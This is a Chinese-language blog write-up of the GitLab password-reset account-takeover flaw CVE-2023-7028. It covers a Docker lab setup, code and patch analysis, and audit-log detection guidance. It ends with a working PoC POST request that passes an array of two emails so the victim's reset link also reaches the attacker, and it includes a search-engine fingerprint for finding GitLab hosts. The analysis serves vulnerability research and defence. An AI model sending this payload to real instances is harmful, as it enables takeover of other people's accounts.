CVE-2023-7028 GitLab Account Takeover漏洞分析

CVE-2023-7028 GitLab Account Takeover漏洞分析

原创 chestnut 闲聊趣说 2024-01-14 10:45

前言

没学过ruby代码,其语法和C like语言差的很多,只能通过AI辅助分析,大概也看懂了,喜欢这个文章的话点个赞支持一下。

基本信息

Gitlab中可以通过重置密码接口发送恶意请求,当已知注册邮箱且开启邮箱登录时,攻击者可以获取到重置密码链接,从而重置目标账号密码,接管目标账号。

指纹

hunter

web.title="GitLab"


影响版本

  • 16.1 to 16.1.5

  • 16.2 to 16.2.8

  • 16.3 to 16.3.6

  • 16.4 to 16.4.4

  • 16.5 to 16.5.5

  • 16.6 to 16.6.3

  • 16.7 to 16.7.1

环境搭建

docker pull gitlab/gitlab-ce:16.1.0-ce.0
docker run -d  -p 443:443 -p 80:80 -p 222:22 --name gitlab --restart always -v /home/gitlab/config:/etc/gitlab -v /home/gitlab/logs:/var/log/gitlab -v /home/gitlab/data:/var/opt/gitlab gitlab/gitlab-ce:16.1.0-ce.0

同时还需要配置SMTP发邮件,这里采用Gmail来发,首先开启2FA,而后设置应用专用密码

https://support.google.com/mail/answer/185833?hl=zh-Hans

在/etc/gitlab/gitlab.rb配置邮件配置


gitlab_rails['smtp_enable'] = true
gitlab_rails['smtp_address'] = "smtp.gmail.com"
gitlab_rails['smtp_port'] = 587
gitlab_rails['smtp_user_name'] = "[email protected]"
gitlab_rails['smtp_password'] = "应用专用密码"
gitlab_rails['smtp_domain'] = "smtp.gmail.com"
gitlab_rails['smtp_authentication'] = "login"
gitlab_rails['smtp_enable_starttls_auto'] = true
gitlab_rails['smtp_tls'] = false
# gitlab_rails['smtp_pool'] = false

###! **Can be: 'none', 'peer', 'client_once', 'fail_if_no_peer_cert'**
###! Docs: http://api.rubyonrails.org/classes/ActionMailer/Base.html
# gitlab_rails['smtp_openssl_verify_mode'] = 'peer'

gitlab_rails['smtp_ca_path'] = "/etc/ssl/certs"
gitlab_rails['smtp_ca_file'] = "/etc/ssl/certs/ca-certificates.crt"

### Email Settings

gitlab_rails['gitlab_email_enabled'] = true

##! If your SMTP server does not like the default 'From: [email protected]'
##! can change the 'From' with this setting.
gitlab_rails['gitlab_email_from'] = '[email protected]'
gitlab_rails['gitlab_email_display_name'] = 'display_name'
gitlab_rails['gitlab_email_reply_to'] = '[email protected]'
gitlab_rails['gitlab_email_subject_suffix'] = ''
gitlab_rails['gitlab_email_smime_enabled'] = false
gitlab_rails['gitlab_email_smime_key_file'] = '/etc/gitlab/ssl/gitlab_smime.key'
gitlab_rails['gitlab_email_smime_cert_file'] = '/etc/gitlab/ssl/gitlab_smime.crt'
gitlab_rails['gitlab_email_smime_ca_certs_file'] = '/etc/gitlab/ssl/gitlab_smime_cas.crt'

Configure Gitlab to use Gmail SMTP for Outbound Mails

在修改配置后,使用gitlab-ctl reconfigure
命令重新加载配置文件,并且测试是否可以通过SMTP发送邮件

gitlab-rails console

Notify.test_email('[email protected]', 'Message Subject', 'Message Body').deliver_now
Delivered mail [email protected] (6085.9ms)

Gitlab 默认root用户有一个admin[at]example.com的邮箱,为了避免干扰,需要将默认邮箱换成我们指定的邮箱,参考修改默认邮箱

gitlab-rails console -e production

Loading production environment (Rails 4.2.8)
irb(main):001:0> user = User.where(id: 1).first
=> #<User id: 1, email: "[email protected]"......
irb(main):009:0> user.email = '[email protected]'
irb(main):011:0> user.save!
=> true
irb(main):011:0> exit

同时修改/etc/gitlab/gitlab.rb里面的默认邮箱为我们自己的Gmail邮箱。

吐槽一下国内邮箱,说的就是你163,配一个SMTP还这么麻烦,乱七八糟的验证码,Gmail配置2FA+APP专用密码就行了

技术分析&调试

信息收集

GitLab官方通告中解释,该漏洞是源于允许用户通过辅助电子邮件地址重置其密码,在16.1.0中引入。

在 16.1.0 中进行了更改,允许用户通过辅助电子邮件地址重置其密码。该漏洞是电子邮件验证过程中的错误导致的。此修补程序已修复该错误,如上所述,我们实施了许多预防性安全措施来保护客户。

查看补丁,首先看到补丁对几个测试文件做了修改 

看不懂ruby代码,让AI分析

这段 Ruby 代码是一个使用 RSpec 编写的测试套件的一部分,主要测试 send_reset_password_instructions 方法的行为。这个方法的主要功能是向用户发送重置密码的指令。首先,代码定义了一些测试用的数据,包括用户的未确认的次要电子邮件地址、未知的电子邮件地址、无效的电子邮件地址、尝试进行 SQL 注入的电子邮件地址,以及另一个用户的已确认和未确认的主要电子邮件地址。然后,代码定义了两个共享的测试示例:
"sends
 'Reset password instructions' email":这个测试示例包含两个测试用例,分别测试当调用 
send_reset_password_instructions 方法时,是否能找到预期的用户,以及是否发送了重置密码指令的电子邮件。
"does
 not send 'Reset password instructions' email":这个测试示例也包含两个测试用例,分别测试当调用 
send_reset_password_instructions 
方法时,是否找不到用户(并返回一个带有错误的新用户实例),以及是否没有发送任何电子邮件。
这些测试用例通过调用
 expect 方法和各种匹配器(如 eq、be_instance_of、be_new_record、not_to 
be_empty、have_enqueued_mail 和 not_to have_enqueued_mail)来验证 
send_reset_password_instructions 方法的行为是否符合预期。
这段 Ruby 代码定义了一个名为 EmailHelpers 的模块,该模块包含了一系列的方法,主要用于在测试中帮助处理和验证电子邮件的发送。
以下是一些主要方法的解释:
sent_to_user(user, recipients: email_recipients):此方法计算给定用户的通知电子邮件地址在收件人列表中出现的次数。
reset_delivered_emails!:此方法清除所有已发送的电子邮件和排队的作业,主要用于在每个测试用例开始前重置状态。
expect_only_one_email_to_be_sent(subject:, to:):此方法验证是否只发送了一封电子邮件,且该电子邮件的主题和收件人是否与预期相符。
should_only_email(*users, kind: :to):此方法验证是否只有指定的用户收到了电子邮件。
should_email(user, times: 1, recipients: email_recipients):此方法验证指定的用户是否收到了预期数量的电子邮件。
should_not_email(user, recipients: email_recipients):此方法验证指定的用户是否没有收到电子邮件。
should_not_email_anyone:此方法验证是否没有发送任何电子邮件。
email_recipients(kind: :to):此方法返回所有电子邮件的收件人列表。
find_email_for(user):此方法查找发送给指定用户的电子邮件。
have_referable_subject(referable, include_project: true, reply: false):此方法验证电子邮件的主题是否包含指定的引用信息。
enqueue_mail_with(mailer_class, mail_method_name, *args):此方法验证是否已将指定的电子邮件作业排入队列。
expect_sender(user, sender_email: nil):此方法验证电子邮件的发送者是否与预期的用户相符。
expect_service_desk_custom_email_delivery_options(service_desk_setting):此方法验证电子邮件的发送设置是否与服务台的自定义电子邮件设置相符。这个模块主要用于在测试中验证电子邮件的发送行为,确保电子邮件的发送者、收件人、主题等都符合预期。

在gitlab中查找PasswordsController
,可以在如下路径找到其代码/opt/gitlab/embedded/lib/ruby/gems/3.0.0/gems/devise-4.8.1/app/controllers/devise/passwords_controller.rb


# frozen_string_literal: true

class Devise::PasswordsController < DeviseController
  prepend_before_action :require_no_authentication
  # Render the #edit only if coming from a reset password email link
  append_before_action :assert_reset_token_passed, only: :edit

  # GET /resource/password/new
  def new
    self.resource = resource_class.new
  end

  # POST /resource/password
  def create
    self.resource = resource_class.send_reset_password_instructions(resource_params)
    yield resource if block_given?

    if successfully_sent?(resource)
      respond_with({}, location: after_sending_reset_password_instructions_path_for(resource_name))
    else
      respond_with(resource)
    end
  end

  # GET /resource/password/edit?reset_password_token=abcdef
  def edit
    self.resource = resource_class.new
    set_minimum_password_length
    resource.reset_password_token = params[:reset_password_token]
  end

其中PasswordsController
类和create函数能和后面的审计日志相应。让AI分析这段代码

这段代码是 Ruby on Rails 中 Devise gem 的一部分,用于处理用户密码重置的功能。Devise 是一个灵活的身份验证解决方案,它提供了一套完整的 MVC 解决方案来处理用户注册、登录、密码重置等功能。
Devise::PasswordsController
是一个控制器,它继承自 DeviseController
。这个控制器主要处理与用户密码相关的请求。
prepend_before_action :require_no_authentication
这行代码表示在执行任何动作之前,都需要先执行 require_no_authentication
方法。这个方法的作用是确保用户在尝试重置密码时未登录。
append_before_action :assert_reset_token_passed, only: :edit
这行代码表示只有在执行 edit 动作时,才需要执行 assert_reset_token_passed
方法。这个方法的作用是确保用户在尝试访问密码重置页面时,提供了有效的重置令牌。
new 动作用于显示密码重置请求的表单。
create
动作用于处理密码重置请求。首先,它会调用 resource_class.send_reset_password_instructions(resource_params)
方法发送密码重置指令。然后,如果邮件发送成功,它会重定向到 after_sending_reset_password_instructions_path_for(resource_name)
,否则,它会重新渲染密码重置请求的表单,并显示错误信息。

可知其主要是调用resource_class.send_reset_password_instructions
,其代码在app/models/concerns/recoverable_by_any_email.rb


# frozen_string_literal: true

# Concern that overrides the Devise methods
# to send reset password instructions to any verified user email
module RecoverableByAnyEmail
  extend ActiveSupport::Concern

  class_methods do
    def send_reset_password_instructions(attributes = {})
      email = attributes.delete(:email)
      super unless email

      recoverable = by_email_with_errors(email)
      recoverable.send_reset_password_instructions(to: email) if recoverable&.persisted?
      recoverable
    end

    private

    def by_email_with_errors(email)
      record = find_by_any_email(email, confirmed: true) || new
      record.errors.add(:email, :invalid) unless record.persisted?
      record
    end
  end

  def send_reset_password_instructions(opts = {})
    token = set_reset_password_token
    send_reset_password_instructions_notification(token, opts)

    token
  end

  private

  def send_reset_password_instructions_notification(token, opts = {})
    send_devise_notification(:reset_password_instructions, token, opts)
  end
end

让AI解释代码

Q:attributes.delete 是什么作用 

A:attributes.delete
是 Ruby 中 Hash 类的一个方法。它的作用是从哈希中删除指定的键并返回其值。如果哈希中不存在该键,那么它将返回 nil。例如,假设我们有一个如下的哈希:

attributes = { email: '[email protected]', name: 'Test' }

我们可以使用 delete
方法删除 email 键:

email = attributes.delete(:email)

现在,email 变量的值将是 ‘[email protected]
,并且 attributes
哈希将只包含 { name: ‘Test’ }

Q:如果是如下数据”email”:[“[email protected]”,”[email protected]”]attributes.delete 会获取到什么

A:在你给出的这个例子中,attributes
是一个哈希,其中 “email” 键的值是一个包含两个字符串的数组。如果你调用 attributes.delete(“email”)
,那么它将会删除 “email” 键并返回其值,即这个包含两个电子邮件地址的数组:[“[email protected]”, “[email protected]”]

借助AI,其实可以知道了send_reset_password_instructions方法从参数里面获取email对应的值,在恶意请求里面,其会获取到一个数组,包含两个邮件地址。

另外其实注意到,payload里面是user[email][],正常请求是user[email],多了一对中括号,询问AI

Q:为什么要使用user[mail][]
的形式,正常请求是user[mail]

A:在 HTTP 请求中,使用 user[email][]
的形式是为了表示 email 是一个数组。这在你想要发送多个电子邮件地址时非常有用。

例如,如果你想要发送两个电子邮件地址,你可以这样构造你的 POST 请求的 body:

user[email][][email protected]&user[email][][email protected]

这将会被解析为一个名为 “user” 的哈希,其中包含一个名为 “email” 的键,其值是一个包含两个电子邮件地址的数组。

如果你只使用 user[email]
,那么它将被解析为一个名为 “user” 的哈希,其中包含一个名为 “email” 的键,其值是一个字符串。如果你尝试发送多个电子邮件地址,只有最后一个会被保留。

所以,如果你想要发送多个电子邮件地址,你应该使用 user[email][]
的形式。

通过以上分析,payload利用ruby特性,在HTTP请求中构造user[email]
数组,使得后端的email变量包含两个邮件地址,从而泄露受害者的密码重置链接。

入侵检测

官方给了审计是否受到攻击的方法:

审计日志/var/log/gitlab/gitlab-rails/production_json.log
是否有对 /users/password
路径的 HTTP 请求


{
    "method": "POST",
    "path": "/users/password",
    "format": "html",
    "controller": "PasswordsController",
    "action": "create",
    "status": 302,
    "location": "http://192.168.32.128/users/sign_in",
    "time": "2024-01-13T09:01:29.874Z",
    "params": [
        {
            "key": "authenticity_token",
            "value": "[FILTERED]"
        },
        {
            "key": "user",
            "value": {
                "email": [
                    "[email protected]",
                    "[email protected]"
                ]
            }
        }
    ],
.....
}

审计日志/var/log/gitlab/gitlab-rails/audit_json.log中对PasswordsController#create
和 target_details
的请求是否包含多个电子邮件地址的 JSON 数组的条目。

补丁分析

查看补丁可知其当attributes[:email]
存在时会通过Email.confirmed.find_by
判断是否是已确认的邮件地址否则会直接返回,只有确认过的才会通过send_reset_password_instructions发送邮件。


# frozen_string_literal: true

# Concern that overrides the Devise methods to allow reset password instructions
# to be sent to any users' confirmed secondary emails.
# See https://github.com/heartcombo/devise/blob/main/lib/devise/models/recoverable.rb
module RecoverableByAnyEmail
  extend ActiveSupport::Concern

  class_methods do
    def send_reset_password_instructions(attributes = {})
      return super unless attributes[:email]

      email = Email.confirmed.find_by(email: attributes[:email].to_s)
      return super unless email

      recoverable = email.user

      recoverable.send_reset_password_instructions(to: email.email)
      recoverable
    end
  end

  def send_reset_password_instructions(opts = {})
    token = set_reset_password_token

    send_reset_password_instructions_notification(token, opts)

    token
  end

  protected

  def send_reset_password_instructions_notification(token, opts = {})
    send_devise_notification(:reset_password_instructions, token, opts)
  end
end

题外话

在补丁里面Gitlab维护者说明了为什么要使得未验证的邮箱可以获取到重置密码的链接,是为了方便管理员获取到重置密码链接,从而修改密码,避免被恶意用户直接设置2FA。

        # By default 'devise' gem allows password reset by unconfirmed primary email.
        # When user account with unconfirmed primary email that means it is unconfirmed.
        #
        # Password reset by unconfirmed primary email is very helpful from
        # security perspective. Example:
        # Malicious person creates user account on GitLab with someone's email.
        # If the email owner confirms the email for newly created account, the malicious person will be able
        # to sign in into the account by password they provided during account signup.
        # The malicious person could set up 2FA to the user account, after that
        # te email owner would not able to get access to that user account even
        # after performing password reset.
        # To deal with that case safely the email owner should reset password
        # for the user account first. That will make sure that after the user account
        # is confirmed the malicious person is not be able to sign in with
        # the password they provided during the account signup. Then email owner
        # could sign into the account, they will see a prompt to confirm the account email
        # to proceed. They can safely confirm the email and take over the account.
        # That is one of the reasons why password reset by unconfirmed primary email should be allowed.

复现截图

PoC


POST /users/password HTTP/1.1
Host: 192.168.59.211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.211/users/password/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Origin: http://192.168.59.211
Connection: close
Upgrade-Insecure-Requests: 1

authenticity_token=f5QX5M91ZRP8-AfaC9G0xBLeOJflvQnB1G7-hZcbtd02t1-TXduqcTgC3dDfWyVqX7ik_aXAcq3fgK02gN01bg&user%5Bemail%5D%5B%[email protected]&user%5Bemail%5D%5B%[email protected]

小结

这个漏洞利用了内在的处理逻辑,代码本意是从请求中获取到邮件地址(包括未确认的地址),而后发送邮件,漏洞通过POST请求使得ruby获取到了邮件地址数组,第一个邮件地址是有效地址,所以可以通过by_email_with_errors判断。

而后传给后续的处理逻辑,在邮件中也可以看到其重置密码邮件是同时发给受害者和攻击者邮箱。

参考链接

https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/